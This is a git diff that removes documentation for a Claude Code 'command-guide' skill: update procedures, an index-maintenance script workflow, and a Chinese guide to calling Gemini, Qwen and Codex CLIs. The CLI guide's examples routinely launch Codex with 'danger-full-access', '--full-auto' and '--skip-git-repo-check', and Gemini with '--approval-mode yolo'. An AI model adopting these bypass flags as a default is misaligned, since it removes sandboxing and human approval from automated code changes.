-## 📊 System Statistics
-
-- **Total Commands**: 78
-- **Total Agents**: 14
-- **Categories**: 5 (workflow: 50, cli: 10, memory: 12, task: 4, general: 2)
-- **Use Cases**: 7 (planning, implementation, testing, documentation, session-management, analysis, general)
-- **Difficulty Levels**: 3 (Beginner, Intermediate, Advanced)
-- **Essential Commands**: 13
-- **Reference Docs**: 92 markdown files (14 agents + 78 commands)
-
----
-
-## 🔧 Maintenance
-
-### Updating Indexes
-
-When commands are added/modified/removed:
-
-```bash
-cd /d/Claude_dms3/.claude/skills/command-guide
-python scripts/analyze_commands.py
-```
-
-This script:
-1. Scans all command files in `../../commands/`
-2. Extracts metadata from YAML frontmatter
-3. Analyzes command relationships
-4. Regenerates all 5 index files
-
-### Committing Updates
-
-```bash
-git add .claude/skills/command-guide/
-git commit -m "docs: update command indexes"
-git push
-```
-
-Team members get latest indexes via `git pull`.
-
----
-
-## 📖 Related Documentation
-
-- [Workflow Architecture](../../workflows/workflow-architecture.md) - System design overview
-- [Intelligent Tools Strategy](../../workflows/intelligent-tools-strategy.md) - CLI tool selection
-- [Context Search Strategy](../../workflows/context-search-strategy.md) - Search patterns
-- [Task Core](../../workflows/task-core.md) - Task system fundamentals
-
----
-
-## 🔄 Maintenance
-
-### Documentation Updates
-
-This SKILL documentation is kept in sync with command implementations through a standardized update process.
-
-**Update Guideline**: See [UPDATE-GUIDELINE.md](UPDATE-GUIDELINE.md) for the complete documentation maintenance process.
-
-**Update Process**:
-1. **Analyze**: Identify changed commands/agents from git commits
-2. **Extract**: Gather change information and impact assessment
-3. **Update**: Sync reference docs, guides, and examples
-4. **Regenerate**: Run `scripts/analyze_commands.py` to rebuild indexes
-5. **Validate**: Test examples and verify consistency
-6. **Commit**: Follow standardized commit message format
-
-**Key Capabilities**:
-- 6 operation modes (Search, Recommendations, Full Docs, Onboarding, Issue Reporting, Deep Analysis)
-- 80 reference documentation files (11 agents + 69 commands)
-- 5 JSON indexes for fast command lookup
-- 8 comprehensive guides covering all workflow patterns
-- 4 issue templates for standardized problem reporting
-- CLI-assisted complex query analysis with gemini/qwen integration
-
-**Maintainer**: CCW Team

.claude/skills/command-guide/UPDATE-GUIDELINE.md

@@ -1,592 +0,0 @@
-# Command Guide Update Guideline
-
-## 📋 Purpose
-
-This document defines a **standardized, repeatable process** for updating command-guide documentation when command changes are detected. Use this guideline every time you need to update command-guide SKILL documentation to ensure consistency and completeness.
-
----
-
-## 🎯 Update Trigger Conditions
-
-Execute this update process when ANY of the following conditions are met:
-
-1. **New commands added** to `.claude/commands/`
-2. **Command parameters changed** (new flags, modified behavior)
-3. **Command architecture refactored** (workflow reorganization)
-4. **Agent implementations updated** in `.claude/agents/`
-5. **User explicitly requests** command-guide update
-
----
-
-## 📊 Phase 1: Analysis & Discovery
-
-### Step 1.1: Identify Changed Files
-
-**Objective**: Discover what has changed since last update
-
-**Actions**:
-```bash
-# Find recent commits affecting commands/agents
-git log --oneline --since="<last-update-date>" --grep="command\|agent\|workflow" -20
-
-# Show detailed changes
-git diff <last-commit>..<current-commit> --stat .claude/commands/ .claude/agents/
-
-# Identify modified command files
-git diff <last-commit>..<current-commit> --name-only .claude/commands/
-```
-
-**Output**: List of changed files and commit messages
-
-**Document**:
-- Changed command files
-- Changed agent files
-- Key commit messages
-- Change patterns (new features, refactoring, fixes)
-
----
-
-### Step 1.2: Analyze Change Scope
-
-**Objective**: Understand the nature and impact of changes
-
-**Questions to Answer**:
-1. **What changed?** (parameters, workflow, architecture, behavior)
-2. **Why changed?** (new feature, optimization, bug fix, refactoring)
-3. **Impact scope?** (single command, workflow pattern, system-wide)
-4. **User-facing?** (affects user commands, internal only)
-
-**Analysis Matrix**:
-
-| Change Type | Detection Method | Impact Level |
-|-------------|--------------------|--------------|
-| **New Parameter** | Diff `argument-hint` field | Medium |
-| **Workflow Reorganization** | Multiple command changes | High |
-| **Architecture Change** | Agent file changes + command changes | High |
-| **Bug Fix** | Single file, small change | Low |
-| **New Command** | New file in `.claude/commands/` | Medium-High |
-
-**Output**: Change classification and impact assessment
-
----
-
-### Step 1.3: Map Affected Documentation
-
-**Objective**: Identify which documentation files need updates
-
-**Mapping Rules**:
-
-**Command Changes** → Affects:
-- `reference/commands/<category>/<command-name>.md` (copy from source)
-- `index/all-commands.json` (regenerate)
-- `index/by-category.json` (if new category)
-- `guides/ui-design-workflow-guide.md` (if UI workflow affected)
-- `guides/workflow-patterns.md` (if workflow pattern changed)
-
-**Agent Changes** → Affects:
-- `reference/agents/<agent-name>.md` (copy from source)
-- `guides/implementation-details.md` (if agent behavior changed)
-
-**Workflow Reorganization** → Affects:
-- All related command references
-- Workflow guides
-- Examples in guides
-
-**Output**: Checklist of files to update
-
----
-
-## 🔧 Phase 2: Content Preparation
-
-### Step 2.1: Extract Key Information
-
-**Objective**: Gather information needed for documentation updates
-
-**Extract from Git Commits**:
-```bash
-# Get commit details
-git show <commit-hash> --stat
-
-# Extract commit message
-git log --format=%B -n 1 <commit-hash>
-```
-
-**Information to Extract**:
-1. **Feature Name** (from commit message)
-2. **Change Description** (what was added/modified/removed)
-3. **Rationale** (why the change was made)
-4. **New Parameters** (from diff)
-5. **Breaking Changes** (backward compatibility impact)
-6. **Usage Examples** (from commit or command file)
-
-**Output**: Structured data for documentation
-
----
-
-### Step 2.2: Categorize Changes
-
-**Objective**: Organize changes into logical categories
-
-**Categories**:
-
-1. **Major Features**
-   - New commands
-   - New workflows
-   - Architecture changes
-   - User-facing feature additions
-
-2. **Enhancements**
-   - New parameters
-   - Improved behavior
-   - Performance optimizations
-   - Better error handling
-
-3. **Refactoring**
-   - Code reorganization (no user impact)
-   - Internal structure changes
-   - Consistency improvements
-
-4. **Bug Fixes**
-   - Corrected behavior
-   - Fixed edge cases
-   - Parameter validation fixes
-
-5. **Documentation**
-   - Updated descriptions
-   - New examples
-   - Clarified usage
-
-**Output**: Changes grouped by category with priority
-
----
-
-### Step 2.3: Analyze User Impact
-
-**Objective**: Determine what users need to know
-
-**User Impact Questions**:
-1. **Do existing workflows break?** → Migration guide needed
-2. **Are new features optional?** → Enhancement documentation
-3. **Is behavior significantly different?** → Usage pattern updates
-4. **Do examples need updates?** → Example refresh required
-
-**Impact Levels**:
-- **Critical** (Breaking changes, migration required)
-- **Important** (New features users should adopt)
-- **Nice-to-have** (Enhancements, optional)
-- **Internal** (No user action needed)
-
-**Output**: User-facing change summary with impact levels
-
----
-
-## 📝 Phase 3: Documentation Updates
-
-### Step 3.1: Update Reference Documentation
-
-**Objective**: Sync reference docs with source command files
-
-**Actions**:
-
-1. **Run Python Script to Sync & Rebuild**:
-   ```bash
-   cd /d/Claude_dms3/.claude/skills/command-guide
-   python scripts/analyze_commands.py
-   ```
-
-   This script automatically:
-   - Deletes existing `reference/` directory
-   - Copies all agent files from `.claude/agents/` to `reference/agents/`
-   - Copies all command files from `.claude/commands/` to `reference/commands/`
-   - Regenerates all 5 index files with updated metadata
-
-2. **Verify Completeness**:
-   - Check sync output for file counts (11 agents + 70 commands)
-   - Verify all 5 index files regenerated successfully
-   - Ensure YAML frontmatter integrity in copied files
-
-**Output**: Updated reference documentation matching source + regenerated indexes
-
----
-
-### Step 3.2: Update Workflow Guides
-
-**Objective**: Reflect changes in user-facing workflow guides
-
-**Workflow Guide Update Pattern**:
-
-**IF** (UI workflow commands changed):
-1. Open `guides/ui-design-workflow-guide.md`
-2. Locate affected workflow pattern sections
-3. Update examples to use new parameters/behavior
-4. Add "New!" badges for new features
-5. Update performance metrics if applicable
-6. Add troubleshooting entries for new issues
-
-**IF** (General workflow patterns changed):
-1. Open `guides/workflow-patterns.md`
-2. Update affected workflow examples
-3. Add new pattern sections if applicable
-
-**Update Template for New Features**:
-```markdown
-### [Feature Name] (New!)
-
-**Purpose**: [What this feature enables]
-
-**Usage**:
-```bash
-[Example command with new feature]
-```
-
-**Benefits**:
-- [Benefit 1]
-- [Benefit 2]
-
-**When to Use**:
-- [Use case 1]
-- [Use case 2]
-```
-
-**Output**: Updated workflow guides with new features documented
-
----
-
-### Step 3.3: Update Examples and Best Practices
-
-**Objective**: Ensure examples reflect current best practices
-
-**Example Update Checklist**:
-- [ ] Remove deprecated parameter usage
-- [ ] Add examples for new parameters
-- [ ] Update command syntax if changed
-- [ ] Verify all examples are runnable
-- [ ] Add "Note" sections for common pitfalls
-
-**Best Practices Update**:
-- [ ] Add recommendations for new features
-- [ ] Update "When to Use" guidelines
-- [ ] Revise performance optimization tips
-- [ ] Update troubleshooting entries
-
-**Output**: Current, runnable examples
-
----
-
-### Step 3.4: Update SKILL.md Metadata
-
-**Objective**: Keep SKILL.md current without version-specific details
-
-**Update Sections**:
-
-1. **Supporting Guides** (if new guide added):
-   ```markdown
-   - **[New Guide Name](guides/new-guide.md)** - Description
-   ```
-
-2. **System Statistics** (if counts changed):
-   ```markdown
-   - **Total Commands**: <new-count>
-   - **Total Agents**: <new-count>
-   ```
-
-3. **Remove Old Changelog Entries**:
-   - Keep only last 3 changelog entries
-   - Archive older entries to separate file if needed
-
-**DO NOT**:
-- Add version numbers
-- Add specific dates
-- Create time-based changelog entries
-
-**Output**: Updated SKILL.md metadata
-
----
-
-## 🧪 Phase 4: Validation
-
-### Step 4.1: Consistency Check
-
-**Objective**: Ensure documentation is internally consistent
-
-**Checklist**:
-- [ ] All command references use correct names
-- [ ] Parameter descriptions match command files
-- [ ] Examples use valid parameter combinations
-- [ ] Links between documents are not broken
-- [ ] Index files reflect current command count
-
-**Validation Commands**:
-```bash
-# Check for broken internal links
-grep -r "\[.*\](.*\.md)" guides/ reference/ | grep -v "http"
-
-# Verify command count consistency
-actual=$(find ../../commands -name "*.md" | wc -l)
-indexed=$(jq '.commands | length' index/all-commands.json)
-echo "Actual: $actual, Indexed: $indexed"
-```
-
-**Output**: Validation report
-
----
-
-### Step 4.2: Example Testing
-
-**Objective**: Verify all examples are runnable
-
-**Test Cases**:
-- [ ] Copy example commands from guides
-- [ ] Run in test environment
-- [ ] Verify expected output
-- [ ] Document any prerequisites
-
-**Note**: Some examples may be illustrative only; mark these clearly
-
-**Output**: Tested examples
-
----
-
-### Step 4.3: Peer Review Checklist
-
-**Objective**: Prepare documentation for review
-
-**Review Points**:
-- [ ] Is the change clearly explained?
-- [ ] Are examples helpful and clear?
-- [ ] Is migration guidance complete (if breaking)?
-- [ ] Are troubleshooting tips adequate?
-- [ ] Is the documentation easy to scan?
-
-**Output**: Review-ready documentation
-
----
-
-## 📤 Phase 5: Commit & Distribution
-
-### Step 5.1: Git Commit Structure
-
-**Objective**: Create clear, traceable commits
-
-**Commit Pattern**:
-```bash
-git add .claude/skills/command-guide/
-
-# Commit message format
-git commit -m "docs(command-guide): update for <feature-name> changes
-
-- Update reference docs for <changed-commands>
-- Enhance <guide-name> with <feature> documentation
-- Regenerate indexes (new count: <count>)
-- Add troubleshooting for <new-issues>
-
-Refs: <commit-hashes-of-source-changes>
-"
-```
-
-**Commit Message Rules**:
-- **Type**: `docs(command-guide)`
-- **Scope**: Always `command-guide`
-- **Summary**: Concise, imperative mood
-- **Body**: Bullet points for each change type
-- **Refs**: Link to source change commits
-
-**Output**: Clean commit history
-
----
-
-### Step 5.2: Update Distribution
-
-**Objective**: Make updates available to users
-
-**Actions**:
-```bash
-# Push to remote
-git push origin main
-
-# Verify GitHub reflects changes
-# Check: https://github.com/<org>/<repo>/tree/main/.claude/skills/command-guide
-```
-
-**User Notification** (if breaking changes):
-- Update project README
-- Add note to main documentation
-- Consider announcement in team channels
-
-**Output**: Published updates
-
----
-
-## 🔄 Phase 6: Iteration & Improvement
-
-### Step 6.1: Gather Feedback
-
-**Objective**: Improve documentation based on usage
-
-**Feedback Sources**:
-- User questions about changed commands
-- Confusion points in examples
-- Missing information requests
-- Error reports
-
-**Track**:
-- Common questions → Add to troubleshooting
-- Confusing examples → Simplify or expand
-- Missing use cases → Add to guides
-
-**Output**: Improvement backlog
-
----
-
-### Step 6.2: Continuous Refinement
-
-**Objective**: Keep documentation evolving
-
-**Regular Tasks**:
-- [ ] Review index statistics monthly
-- [ ] Update examples with real-world usage
-- [ ] Consolidate redundant sections
-- [ ] Expand troubleshooting based on issues
-- [ ] Refresh screenshots/outputs if UI changed
-
-**Output**: Living documentation
-
----
-
-## 📐 Update Decision Matrix
-
-Use this matrix to determine update depth:
-
-| Change Scope | Reference Docs | Workflow Guides | Examples | Indexes | Migration Guide |
-|--------------|----------------|-----------------|----------|---------|-----------------|
-| **New Parameter** | Update command file | Add parameter note | Add usage example | Regenerate | No |
-| **Workflow Refactor** | Update all affected | Major revision | Update all examples | Regenerate | If breaking |
-| **New Command** | Copy new file | Add workflow pattern | Add examples | Regenerate | No |
-| **Architecture Change** | Update all affected | Major revision | Comprehensive update | Regenerate | Yes |
-| **Bug Fix** | Update description | Add note if user-visible | Fix incorrect examples | No change | No |
-| **New Feature** | Update affected files | Add feature section | Add feature examples | Regenerate | No |
-
----
-
-## 🎯 Quality Gates
-
-Before considering documentation update complete, verify:
-
-### Gate 1: Completeness
-- [ ] All changed commands have updated reference docs
-- [ ] All new features are documented in guides
-- [ ] All examples are current and correct
-- [ ] Indexes reflect current state
-
-### Gate 2: Clarity
-- [ ] Non-expert can understand changes
-- [ ] Examples demonstrate key use cases
-- [ ] Migration path is clear (if breaking)
-- [ ] Troubleshooting covers common issues
-
-### Gate 3: Consistency
-- [ ] Terminology is consistent across docs
-- [ ] Parameter descriptions match everywhere
-- [ ] Cross-references are accurate
-- [ ] Formatting follows established patterns
-
-### Gate 4: Accessibility
-- [ ] Table of contents is current
-- [ ] Search/navigation works
-- [ ] Related docs are linked
-- [ ] Issue templates reference new content
-
----
-
-## 🚀 Quick Start Template
-
-When updates are needed, follow this abbreviated workflow:
-
-```bash
-# 1. ANALYZE (5 min)
-git log --oneline --since="<last-update>" --grep="command\|agent" -20
-# → Identify what changed
-
-# 2. EXTRACT (10 min)
-git show <commit-hash> --stat
-git diff <commit>..HEAD --stat .claude/commands/
-# → Understand changes
-
-# 3. UPDATE (30 min)
-# - Update affected guide sections (ui-design-workflow-guide.md, etc.)
-# - Add examples for new features
-# - Document parameter changes
-
-# 4. SYNC & REGENERATE (2 min)
-cd /d/Claude_dms3/.claude/skills/command-guide
-python scripts/analyze_commands.py
-# → Syncs reference docs + regenerates all 5 indexes
-
-# 5. VALIDATE (10 min)
-# - Test examples
-# - Check consistency
-# - Verify links
-
-# 6. COMMIT (5 min)
-git add .claude/skills/command-guide/
-git commit -m "docs(command-guide): update for <feature> changes"
-git push origin main
-```
-
-**Total Time**: ~1 hour for typical update
-
----
-
-## 🔗 Related Resources
-
-- **Python Index Script**: `.claude/skills/command-guide/scripts/analyze_commands.py`
-- **Issue Templates**: `.claude/skills/command-guide/templates/`
-- **SKILL Entry Point**: `.claude/skills/command-guide/SKILL.md`
-- **Reference Source**: `.claude/commands/` and `.claude/agents/`
-
----
-
-## 📌 Appendix: Common Patterns
-
-### Pattern 1: New Parameter Addition
-
-**Example**: `--interactive` flag added to `explore-auto`
-
-**Update Sequence**:
-1. Update `guides/ui-design-workflow-guide.md` with interactive examples
-2. Add "When to Use" guidance
-3. Run Python script to sync reference docs and regenerate indexes
-4. Update argument-hint in examples
-
----
-
-### Pattern 2: Workflow Reorganization
-
-**Example**: Layout extraction split into concept generation + selection
-
-**Update Sequence**:
-1. Major revision of workflow guide section
-2. Update all workflow examples
-3. Add migration notes for existing users
-4. Update troubleshooting
-5. Run Python script to sync and regenerate indexes
-
----
-
-### Pattern 3: Architecture Change
-
-**Example**: Agent execution model changed
-
-**Update Sequence**:
-1. Update `guides/implementation-details.md`
-2. Revise all workflow patterns using affected agents
-3. Create migration guide
-4. Update examples comprehensively
-5. Run Python script to sync and regenerate indexes
-6. Add extensive troubleshooting
-
----
-
-**End of Update Guideline**
-
-This guideline is a living document. Improve it based on update experience.

.claude/skills/command-guide/guides/cli-tools-guide.md

@@ -1,410 +0,0 @@
-# CLI 工具使用指南
-
-> **SKILL 参考文档**：用于回答用户关于 CLI 工具（Gemini、Qwen、Codex）的使用问题
->
-> **用途**：当用户询问 CLI 工具的能力、使用方法、调用方式时，从本文档中提取相关信息，根据用户具体需求加工后返回
-
-## 🎯 快速理解：CLI 工具是什么？
-
-CLI 工具是集成在 Claude DMS3 中的**智能分析和执行助手**。
-
-**工作流程**：
-1. **用户** → 用自然语言向 Claude Code 描述需求（如"分析认证模块的安全性"）
-2. **Claude Code** → 识别用户意图，决定使用哪种方式：
-   - **CLI 工具语义调用**：生成并执行 `gemini`/`qwen`/`codex` 命令
-   - **Slash 命令调用**：执行预定义的工作流命令（如 `/workflow:plan`）
-3. **工具** → 自动完成任务并返回结果
-
-**核心理念**：用户用自然语言描述需求 → Claude Code 选择最佳方式 → 工具执行 → 返回结果
-
----
-
-## 📋 三大工具能力对比
-
-| 工具 | 擅长领域 | 典型场景 | 何时使用 |
-|------|----------|----------|----------|
-| **Gemini** | 分析、理解、规划 | 代码分析、架构设计、问题诊断 | 需要深入理解代码或系统 |
-| **Qwen** | 分析、备选方案 | 代码审查、模式识别 | Gemini 不可用时的备选 |
-| **Codex** | 实现、测试、执行 | 功能开发、测试生成、自动化任务 | 需要生成代码或自动执行 |
-
-**简单记忆**：
-- 想**理解**什么 → Gemini / Qwen
-- 想**实现**什么 → Codex
-
----
-
-## 🚀 Claude Code 的两种响应方式
-
-当用户用自然语言描述需求时，Claude Code 会根据任务特性选择最佳方式：
-
-### 方式 1：CLI 工具语义调用（灵活、强大）
-
-**用户明确指示使用 CLI 工具**，Claude Code 生成并执行相应命令。
-
-#### 示例 1：Gemini 语义分析
-
-**用户输入**（必须明确提到工具）：
-```
-使用 gemini 分析认证模块的安全性，识别潜在的安全漏洞，
-关注 JWT 令牌处理、密码存储、会话管理等方面，
-提供具体的修复建议
-```
-
-**Claude Code 生成并执行**（CLI 命令）：
-```bash
-cd src/auth && gemini -p "
-分析认证模块的安全性，识别潜在的安全漏洞，
-关注 JWT 令牌处理、密码存储、会话管理等方面，
-提供具体的修复建议
-" -m gemini-3-pro-preview-11-2025
-```
-
-**工具输出**：Gemini 自动理解任务，组合多个分析步骤，返回结构化报告
-
----
-
-#### 示例 2：Qwen 语义分析（Gemini 的备选）
-
-**用户输入**：
-```
-用 qwen 追踪用户登录的完整执行流程，
-从 API 入口到数据库查询，
-列出所有调用的函数和依赖关系
-```
-
-**Claude Code 生成并执行**：
-```bash
-cd src/auth && qwen -p "
-追踪用户登录的完整执行流程，
-从 API 入口到数据库查询，
-列出所有调用的函数和依赖关系
-"
-```
-
-**工具输出**：Qwen 理解需求，自动追踪执行路径
-
----
-
-#### 示例 3：Codex 语义实现
-
-**用户输入**：
-```
-让 codex 实现 JWT 令牌刷新机制：
-1. 添加 refreshToken 端点
-2. 验证旧令牌的有效性
-3. 生成新的访问令牌
-4. 确保安全性（防重放攻击）
-```
-
-**Claude Code 生成并执行**：
-```bash
-codex -C src/auth --full-auto exec "
-实现 JWT 令牌刷新机制：
-1. 添加 refreshToken 端点
-2. 验证旧令牌的有效性
-3. 生成新的访问令牌
-4. 确保安全性（防重放攻击）
-" -m gpt-5 --skip-git-repo-check -s danger-full-access
-```
-
-**工具输出**：Codex 理解需求，自动生成代码并集成到现有系统
-
----
-
-**核心特点**：
-- ✅ **用户明确指定工具**：必须说"使用 gemini"、"用 qwen"、"让 codex"等触发工具调用
-- ✅ **Claude 生成命令**：识别工具名称后，自动构造最优的 CLI 工具调用
-- ✅ **工具自动理解**：CLI 工具解析需求，组合分析/实现步骤
-- ✅ **灵活强大**：不受预定义工作流限制
-- ✅ **精确控制**：Claude 可指定工作目录、文件范围、模型参数
-
-**触发方式**：
-- "使用 gemini ..."
-- "用 qwen ..."
-- "让 codex ..."
-- "通过 gemini 工具..."
-
-**Claude Code 何时选择此方式**：
-- 用户明确指定使用某个 CLI 工具
-- 复杂分析任务（跨模块、多维度）
-- 自定义工作流需求
-- 需要精确控制上下文范围
-
----
-
-### 方式 2：Slash 命令调用（标准工作流）
-
-**用户直接输入 Slash 命令**，或 **Claude Code 建议使用 Slash 命令**，系统执行预定义工作流（内部调用 CLI 工具）。
-
-#### Workflow 类命令（系统自动选择工具）
-
-**示例 1：规划任务**
-
-**用户输入**：
-```
-/workflow:plan --agent "实现用户认证功能"
-```
-
-**系统执行**：内部调用 gemini/qwen 分析 + action-planning-agent 生成任务
-
----
-
-**示例 2：执行任务**
-
-**用户输入**：
-```
-/workflow:execute
-```
-
-**系统执行**：内部调用 codex 实现代码
-
----
-
-**示例 3：生成测试**
-
-**用户输入**：
-```
-/workflow:test-gen WFS-xxx
-```
-
-**系统执行**：内部调用 gemini 分析 + codex 生成测试
-
----
-
-#### CLI 类命令（指定工具）
-
-**示例 1：封装的分析命令**
-
-**用户输入**：
-```
-/cli:analyze --tool gemini "分析认证模块"
-```
-
-**系统执行**：使用 gemini 工具进行分析
-
----
-
-**示例 2：封装的执行命令**
-
-**用户输入**：
-```
-/cli:execute --tool codex "实现 JWT 刷新"
-```
-
-**系统执行**：使用 codex 工具实现功能
-
----
-
-**示例 3：快速执行（YOLO 模式）**
-
-**用户输入**：
-```
-/cli:codex-execute "添加用户头像上传"
-```
-
-**系统执行**：使用 codex 快速实现
-
----
-
-**核心特点**：
-- ✅ **用户可直接输入**：Slash 命令格式固定，用户可以直接输入（如 `/workflow:plan`）
-- ✅ **Claude 可建议**：Claude Code 也可以识别需求后建议或执行 Slash 命令
-- ✅ **预定义流程**：标准化的工作流模板
-- ✅ **自动工具选择**：workflow 命令内部自动选择合适的 CLI 工具
-- ✅ **集成完整**：包含规划、执行、测试、文档等环节
-- ✅ **简单易用**：无需了解底层 CLI 工具细节
-
-**Claude Code 何时选择此方式**：
-- 标准开发任务（功能开发、测试、重构）
-- 团队协作（统一工作流）
-- 适合新手（降低学习曲线）
-- 快速开发（减少配置时间）
-
----
-
-## 🔄 两种方式对比
-
-| 维度 | CLI 工具语义调用 | Slash 命令调用 |
-|------|------------------|----------------|
-| **用户输入** | 纯自然语言描述需求 | `/` 开头的固定命令格式 |
-| **Claude Code 行为** | 生成并执行 `gemini`/`qwen`/`codex` 命令 | 执行预定义工作流（内部调用 CLI 工具） |
-| **灵活性** | 完全自定义任务和执行方式 | 固定工作流模板 |
-| **学习曲线** | 用户无需学习（纯自然语言） | 需要知道 Slash 命令名称 |
-| **适用复杂度** | 复杂、探索性、定制化任务 | 标准、重复性、工作流化任务 |
-| **工具选择** | Claude 自动选择最佳 CLI 工具 | 系统自动选择（workflow 类）<br>或用户指定（cli 类） |
-| **典型场景** | 深度分析、自定义流程、探索研究 | 日常开发、团队协作、标准流程 |
-
-**使用建议**：
-- **日常开发** → 优先使用 Slash 命令（标准化、快速）
-- **复杂分析** → Claude 自动选择 CLI 工具语义调用（灵活、强大）
-- **用户角度** → 只需用自然语言描述需求，Claude Code 会选择最佳方式
-
----
-
-## 💡 工具能力速查
-
-### Gemini - 分析与规划
-- 执行流程追踪、依赖分析、代码模式识别
-- 架构设计、技术方案评估、任务分解
-- 文档生成（API 文档、模块说明）
-
-**触发示例**：`使用 gemini 追踪用户登录的完整流程`
-
----
-
-### Qwen - Gemini 的备选
-- 代码分析、模式识别、架构评审
-- 作为 Gemini 不可用时的备选方案
-
-**触发示例**：`用 qwen 分析数据处理模块`
-
----
-
-### Codex - 实现与执行
-- 功能开发、组件实现、API 创建
-- 单元测试、集成测试、TDD 支持
-- 代码重构、性能改进、Bug 修复
-
-**触发示例**：`让 codex 实现用户注册功能，包含邮箱验证`
-
----
-
-## 🔄 典型使用场景
-
-### 场景 1：理解陌生代码库
-
-**需求**：接手新项目，需要快速理解代码结构
-
-**方式 1：CLI 工具语义调用**（推荐，灵活）
-
-- **用户输入**：`使用 gemini 分析这个项目的架构设计，识别主要模块、依赖关系和架构模式`
-- **Claude Code 生成并执行**：`cd project-root && gemini -p "..."`
-
-**方式 2：Slash 命令**
-- **用户输入**：`/cli:analyze --tool gemini "分析项目架构"`
-
----
-
-### 场景 2：实现新功能
-
-**需求**：实现用户认证功能
-
-**方式 1：CLI 工具语义调用**
-- **用户输入**：`让 codex 实现用户认证功能：注册（邮箱+密码+验证）、登录（JWT token）、刷新令牌，技术栈 Node.js + Express`
-- **Claude Code 生成并执行**：`codex -C src/auth --full-auto exec "..." --skip-git-repo-check -s danger-full-access`
-
-**方式 2：Slash 命令**（工作流化）
-- **用户输入**：`/workflow:plan --agent "实现用户认证功能"` → `/workflow:execute`
-
----
-
-### 场景 3：诊断 Bug
-
-**需求**：登录功能偶尔超时
-
-**方式 1：CLI 工具语义调用**
-- **用户输入**：`使用 gemini 诊断登录超时问题，分析处理流程、性能瓶颈、数据库查询效率`
-- **Claude Code 生成并执行**：`cd src/auth && gemini -p "..."`
-- **用户输入**：`让 codex 根据上述分析修复登录超时，优化查询、添加缓存`
-- **Claude Code 生成并执行**：`codex -C src/auth --full-auto exec "..." --skip-git-repo-check -s danger-full-access`
-
-**方式 2：Slash 命令**
-- **用户输入**：`/cli:mode:bug-diagnosis --tool gemini "诊断登录超时"` → `/cli:execute --tool codex "修复登录超时"`
-
----
-
-### 场景 4：生成文档
-
-**需求**：为 API 模块生成完整文档
-
-**方式 1：CLI 工具语义调用**
-- **用户输入**：`使用 gemini 为 API 模块生成技术文档，包含端点说明、数据模型、使用示例`
-- **Claude Code 生成并执行**：`cd src/api && gemini -p "..." --approval-mode yolo`
-
-**方式 2：Slash 命令**
-- **用户输入**：`/memory:docs src/api --tool gemini --mode full`
-
----
-
-## 🎯 常用工作流程
-
-### 简单 Bug 修复
-```
-使用 gemini 诊断问题（可选其他 cli 工具）
-→ Claude 分析
-→ Claude 直接执行修复
-```
-
-### 复杂 Bug 修复
-```
-/cli:mode:plan 或 /cli:mode:bug-diagnosis
-→ Claude 分析
-→ Claude 执行修复
-```
-
-### 简单功能增加
-```
-/cli:mode:plan
-→ Claude 执行
-```
-
-### 复杂功能增加
-```
-/cli:mode:plan --agent
-→ Claude 执行 或 /cli:codex-execute
-
-或
-
-/cli:mode:plan
-→ 进入工作流模式（/workflow:execute）
-```
-
-### 项目内存管理
-
-**建立技术栈文档**（为项目提供技术参考）
-```
-/memory:tech-research [session-id | tech-stack-name]
-```
-
-**为项目重建多级结构的 CLAUDE.md 内存**
-```
-/memory:docs [path] [--tool gemini|qwen|codex] [--mode full|partial]
-```
-
----
-
-## 📚 常用命令速查
-
-| 需求 | 推荐命令 |
-|------|----------|
-| **代码分析** | `使用 gemini 分析...` 或 `/cli:analyze --tool gemini` |
-| **Bug 诊断** | `/cli:mode:bug-diagnosis` |
-| **功能实现** | `/cli:codex-execute` 或 `让 codex 实现...` |
-| **架构规划** | `/cli:mode:plan` |
-| **生成测试** | `/workflow:test-gen WFS-xxx` |
-| **完整工作流** | `/workflow:plan` → `/workflow:execute` |
-| **技术文档** | `/memory:tech-research [tech-name]` |
-| **项目文档** | `/memory:docs [path]` |
-
----
-
-## 🆘 快速提示
-
-**触发 CLI 工具语义调用**：
-- "使用 gemini ..."
-- "用 qwen ..."
-- "让 codex ..."
-
-**选择工具**：
-- **理解/分析/规划** → Gemini
-- **实现/测试/执行** → Codex
-- **不确定** → 使用 Slash 命令让系统选择
-
-**提升质量**：
-- 清晰描述需求和期望
-- 提供上下文信息
-- 使用 `--agent` 处理复杂任务
-
----
-
-**最后更新**: 2025-11-06

.claude/skills/command-guide/guides/examples.md

@@ -1,537 +0,0 @@
-# Usage Examples
-
-Comprehensive examples of command-guide skill in action across all 5 operation modes.
-
----
-
-## Mode 1: Command Search 🔍
-
-### Example 1: Keyword Search
-
-**User**: "搜索包含 'execute' 的命令"
-
-**Skill Response**:
-```
-找到 4 个相关命令：
-
-1. **cli:execute** (高级)
-   描述: Auto-execution of implementation tasks with YOLO permissions
-   参数: [--agent] [--tool codex|gemini|qwen] [--enhance] description or task-id
-   场景: implementation
-
-2. **task:execute** (中级)
-   描述: Execute tasks with appropriate agents and context-aware orchestration
-   参数: task-id
-   场景: implementation
-
-3. **workflow:execute** (中级)
-   描述: Coordinate agents for existing workflow tasks with automatic discovery
-   参数: [--resume-session="session-id"]
-   场景: implementation
-
-4. **codex-execute** (高级)
-   描述: Automated task decomposition and execution with Codex
-   参数: task description or task-id
-   场景: implementation
-
-💡 相关命令: workflow:plan, task:create
-📖 详细文档: [Implementation Commands](workflow-patterns.md#implementation)
-```
-
----
-
-### Example 2: Category Search
-
-**User**: "cli 类别下有哪些命令？"
-
-**Skill Response**:
-```
-CLI 类别包含 9 个命令：
-
-**核心命令** (6个):
-- cli:analyze - Quick codebase analysis
-- cli:chat - Direct codebase interaction
-- cli:execute - Auto-execution with YOLO
-- cli:cli-init - Initialize CLI tool configs
-- cli:codex-execute - Codex-powered execution
-- cli:discuss-plan - Multi-model planning discussion
-
-**模式命令** (3个):
-- cli:mode:plan - Project planning mode
-- cli:mode:code-analysis - Deep code analysis mode
-- cli:mode:bug-diagnosis - Bug diagnosis mode
-
-📚 使用指南: [CLI Tools Guide](cli-tools-guide.md)
-```
-
----
-
-### Example 3: Use-Case Search
-
-**User**: "planning 相关的命令有哪些？"
-
-**Skill Response**:
-```
-Planning 场景包含 8 个命令：
-
-**核心规划**:
-1. workflow:plan (高级) - 5阶段规划工作流
-2. cli:mode:plan (高级) - 项目规划和架构分析
-3. workflow:tdd-plan (高级) - TDD 规划工作流
-
-**任务分解**:
-4. task:breakdown (中级) - 智能任务分解
-5. workflow:tools:task-generate (中级) - 生成任务 JSON
-
-**架构设计**:
-6. workflow:brainstorm:system-architect (中级) - 系统架构师头脑风暴
-7. workflow:brainstorm:api-designer (中级) - API 设计师头脑风暴
-
-**评估验证**:
-8. workflow:action-plan-verify (中级) - 规划质量验证
-
